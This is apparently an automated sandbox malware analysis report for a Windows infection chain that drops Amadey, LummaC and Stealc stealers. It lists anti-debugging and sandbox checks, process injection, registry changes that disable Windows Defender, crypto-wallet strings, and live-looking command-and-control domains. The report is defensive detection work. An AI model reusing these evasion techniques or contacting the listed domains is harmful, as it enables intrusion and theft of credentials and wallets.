Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Thread information set: HideFromDebugger
Potentially malicious time measurement code found
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_04B50E4B Start: 04B50E75 End: 04B50E11 6_2_04B50E4B
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Code function: 3_2_007ACBF5 rdtsc 3_2_007ACBF5
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Code function: 3_2_0061B7AA LdrInitializeThunk, 3_2_0061B7AA
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00FF652B mov eax, dword ptr fs:[00000030h] 6_2_00FF652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00FFA302 mov eax, dword ptr fs:[00000030h] 6_2_00FFA302
Enables debug privileges
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: cc1af330ba.exe PID: 6488, type: MEMORYSTR
Allocates memory in foreign processes
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 protect: page execute and read and write
Contains functionality to inject code into remote processes
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00FC70A0 CreateProcessA,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,VirtualFree, 6_2_00FC70A0
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Memory written: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 value starts with: 4D5A
LummaC encrypted strings found
Source: file.exe, 00000000.00000003.1370365008.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.1370365008.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.1370365008.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.1370365008.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.1370365008.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.1370365008.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.1370365008.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.1370365008.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: presticitpo.store
Source: wintoolsone64.exe, 00000012.00000002.2653395699.000000000205A000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: servicedny.site
Source: wintoolsone64.exe, 00000012.00000002.2653395699.000000000205A000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: authorisev.site
Source: wintoolsone64.exe, 00000012.00000002.2653395699.000000000205A000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: faulteyotk.site
Source: wintoolsone64.exe, 00000012.00000002.2653395699.000000000205A000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: dilemmadu.site
Source: wintoolsone64.exe, 00000012.00000002.2653395699.000000000205A000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: contemteny.site
Source: wintoolsone64.exe, 00000012.00000002.2653395699.000000000205A000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: goalyfeastz.site
Source: wintoolsone64.exe, 00000012.00000002.2653395699.000000000205A000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: opposezmny.site
Source: wintoolsone64.exe, 00000012.00000002.2653395699.000000000205A000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: seallysl.site
Writes to foreign memory regions
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2694008
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 401000
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 446000
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 449000
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe "C:\Users\user~1\AppData\Local\Temp\1001698001\8301009305.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe "C:\Users\user~1\AppData\Local\Temp\1001735001\de057a4668.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe "C:\Users\user~1\AppData\Local\Temp\1001776101\4264524541.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe "C:\Users\user~1\AppData\Local\Temp\1002431001\wintoolsone64.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe "C:\Users\user~1\AppData\Local\Temp\1002448001\9de8348ea3.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe "C:\Users\user~1\AppData\Local\Temp\1001195001\cc1af330ba.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe "C:\Users\user~1\AppData\Local\Temp\1001196001\69f64d774a.exe"
Source: 8301009305.exe, 0000000C.00000002.2233411085.0000000000458000.00000040.00000001.01000000.0000000E.sdmp, axplong.exe, 0000000D.00000002.2263735341.0000000000378000.00000040.00000001.01000000.0000000F.sdmp, axplong.exe, 0000000E.00000002.2272113326.0000000000378000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 6Program Manager
Source: skotes.exe, skotes.exe, 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmp, BJD5F4VU6P78HSX8.exe, 00000017.00000002.2564207482.00000000003DA000.00000040.00000001.01000000.00000014.sdmp Binary or memory string: Program Manager
Source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe, 00000003.00000002.1854115332.00000000007FF000.00000040.00000001.01000000.00000006.sdmp, de057a4668.exe, 0000000F.00000002.2382700630.000000000109F000.00000040.00000001.01000000.00000010.sdmp, de057a4668.exe, 00000013.00000002.2501288857.000000000109F000.00000040.00000001.01000000.00000010.sdmp Binary or memory string: gProgram Manager
Source: 9de8348ea3.exe, 00000019.00000002.2646029841.0000000000C5B000.00000040.00000001.01000000.00000015.sdmp Binary or memory string: YProgram Manager
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00FDD3E2 cpuid 6_2_00FDD3E2
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002449001\90f56e27b8.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002449001\90f56e27b8.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe Queries volume information: C:\Windows VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe Queries volume information: C:\Windows\AppReadiness VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001172001\Set-up.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001172001\Set-up.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00FDCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime, 6_2_00FDCBEA
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00FC65E0 LookupAccountNameA, 6_2_00FC65E0
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Disable Windows Defender notifications (registry)
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1 Jump to behavior
Disable Windows Defender real time protection (registry)
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableIOAVProtection 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableRealtimeMonitoring 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications Registry value created: DisableNotifications 1 Jump to behavior
Disables Windows Defender Tamper protection
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Registry value created: TamperProtection 0 Jump to behavior
Modifies windows update settings
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations Jump to behavior
AV process strings found (often used to terminate AV products)
Source: file.exe, 00000000.00000003.1673101508.00000000010F0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: skotes.exe, 0000000B.00000003.2486073608.000000000197C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: qqqqqqqqqqqqqqqqamFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\Desktop\file.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected Amadeys stealer DLL
Source: Yara match File source: 23.2.BJD5F4VU6P78HSX8.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.8301009305.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.axplong.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.axplong.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.skotes.exe.fc0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.axplong.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.skotes.exe.fc0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.M20I1ZOZUN9VGSWFO63POXM.exe.fc0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000017.00000002.2563974947.00000000001E1000.00000040.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1764901997.0000000000FC1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2232884858.0000000000261000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000003.1866390833.0000000004960000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2192573063.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.2641659878.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000003.2523206093.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2271659332.0000000000181000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2223001037.0000000004850000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.1757220025.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.1724002406.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000003.2481124534.0000000005200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.2630604720.0000000000181000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.1798970839.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2263637802.0000000000181000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000003.2231223206.0000000004950000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected LummaC Stealer
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: skotes.exe PID: 4308, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Source: Yara match File source: Process Memory Space: file.exe PID: 7444, type: MEMORYSTR
Yara detected Stealc
Source: Yara match File source: 26.2.cc1af330ba.exe.5a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000001A.00000002.2630286475.00000000005A1000.00000040.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000003.2613988811.0000000005000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2643463076.000000000148C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: dump.pcap, type: PCAP
Found many strings related to Crypto-Wallets (likely being stolen)
Source: skotes.exe, 0000000B.00000003.2249357070.00000000019D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: llets/Electrum-LTC
